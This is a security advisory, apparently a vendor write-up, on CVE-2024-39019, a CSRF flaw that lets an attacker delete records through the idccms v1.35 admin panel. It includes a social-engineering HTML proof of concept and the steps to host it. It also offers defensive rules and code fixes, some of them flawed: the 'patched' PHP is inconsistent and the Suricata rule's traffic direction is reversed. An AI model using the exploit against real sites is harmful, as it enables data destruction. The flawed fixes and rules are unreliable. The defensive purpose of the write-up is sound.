CVE-2024-39019

Executive Summary

CVE-2024-39019 identifies a Cross-Site Request Forgery (CSRF) vulnerability in idccms v1.35, specifically within the /admin/idcProData_deal.php?mudi=del endpoint. This flaw allows an attacker to trick an authenticated administrator into unknowingly executing destructive actions, such as deleting critical data, by crafting a malicious request that the victim's browser automatically sends with their valid session cookies. The vulnerability has a CVSS v3.1 base score of 4.3 (Medium), with a low impact on integrity and no impact on confidentiality or availability. No official patch has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild. However, the lack of a patch and the simplicity of exploitation make this a significant risk for any instance of idccms v1.35.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application (idccms) and does not involve supply chain dependencies.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network – The attack can be launched remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim (admin) must click a link or visit a malicious page.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): Low – The attacker can delete data, but not modify arbitrary content.
• Availability (A): None – The attack does not cause a denial of service.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the potential for data loss make this a serious concern for administrators.

Deep Dive & Mechanics

The vulnerability resides in the idcProData_deal.php script, which handles data management operations for IDC (Internet Data Center) related records. The mudi=del parameter triggers a delete operation. The application fails to implement any anti-CSRF token (e.g., a nonce or CSRF token) to verify that the request originated from the legitimate admin interface.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing an auto-submitting form or an image tag pointing to:

   http://target.com/admin/idcProData_deal.php?mudi=del&id=123
   

2. The attacker lures an authenticated admin to visit this page (e.g., via phishing, forum post, or XSS).
3. The admin's browser automatically sends the request, including their session cookies.
4. The server processes the request, deleting the record with ID 123 without verifying the request's origin.

Root Cause: Missing CSRF protection on the del action. The application does not validate a unique token per session or per request.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is the current state of idccms v1.35. A patched version would need to implement CSRF tokens.

Vulnerable Code (idcProData_deal.php - simplified):

<?php
// No CSRF token check
$mudi = $_GET['mudi'];
if ($mudi == 'del') {
    $id = $_GET['id'];
    $sql = "DELETE FROM idc_data WHERE id = $id";
    mysqli_query($conn, $sql);
    header("Location: idcProData.php");
}
?>

Patched Code (hypothetical):

<?php
session_start();
// Validate CSRF token
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die("CSRF token validation failed.");
}
$mudi = $_GET['mudi'];
if ($mudi == 'del') {
    $id = intval($_GET['id']); // Also add input sanitization
    $sql = "DELETE FROM idc_data WHERE id = $id";
    mysqli_query($conn, $sql);
    header("Location: idcProData.php");
}
?>

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

• Target: idccms v1.35 running on Apache/Nginx with PHP.
• Attacker: Kali Linux with a simple HTTP server to host the malicious page.

Exploit Code (HTML):

<html>
<body>
<h1>Click here for a free gift!</h1>
<form action="http://target.com/admin/idcProData_deal.php?mudi=del&id=1" method="GET" id="csrf-form">
    <input type="submit" value="Claim Gift">
</form>
<script>
    // Auto-submit the form
    document.getElementById('csrf-form').submit();
</script>
</body>
</html>

Usage:

1. Host the HTML file on your attacker machine: python3 -m http.server 8080
2. Send the link to the admin (e.g., via email or social engineering).
3. Once the admin clicks and is authenticated, the delete request is sent.

Blue Team (Defender)

Detection:

• Monitor for unusual GET requests to /admin/idcProData_deal.php?mudi=del with no Referer header or a Referer from an external domain.
• Check for rapid deletion of multiple records in a short time.
• Enable logging of all admin actions and correlate with session IDs.

Mitigation:

• Implement CSRF tokens immediately (see Remediation).
• Use SameSite cookies (set to Lax or Strict).
• Require POST requests for destructive actions (change mudi=del to POST-only).

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /admin/idcProData_deal.php?mudi=del with suspicious Referer headers (e.g., external domains).
  • Multiple rapid DELETE requests from the same admin session.
• Logs:
  • Web server logs showing idcProData_deal.php?mudi=del with id parameters.
  • Absence of CSRF token in POST requests (if implemented later).
• File System:
  • No specific file IOCs; the attack is purely request-based.

Detection Engineering

YARA Rule

rule idccms_csrf_exploit {
    meta:
        description = "Detects CSRF exploit attempts against idccms v1.35"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-39019"
    strings:
        $exploit_path = "/admin/idcProData_deal.php?mudi=del"
        $suspicious_ref = "Referer: " ascii wide nocase
    condition:
        $exploit_path and #suspicious_ref > 0
}

Sigma Rule

title: CSRF Exploit Against idccms v1.35
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the CSRF-vulnerable endpoint in idccms v1.35
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/idcProData_deal.php?mudi=del'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF is not implemented)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-39019 - idccms CSRF Delete Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/admin/idcProData_deal.php?mudi=del";
    http_uri;
    sid:1000001;
    rev:1;
    reference:cve,2024-39019;
    classtype:attempted-admin;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Implement CSRF Tokens: Add a unique, unpredictable token to each admin form and validate it on the server side.
2. Change HTTP Method: Convert the del action to use POST instead of GET to prevent simple image-tag attacks.
3. Set SameSite Cookies: Configure PHP session cookies with SameSite=Lax or Strict to prevent cross-site requests.
4. Validate Referer Header: Check that the Referer header matches the application's domain (though this is not foolproof).

Long-Term Fix:

• Upgrade to a patched version of idccms if one becomes available.
• Conduct a full security audit of the application to identify other missing CSRF protections.

Workaround:

• If patching is not possible, restrict access to the admin panel via IP whitelisting or VPN.

Report generated by Valters IT DevSecOps & CTI Expert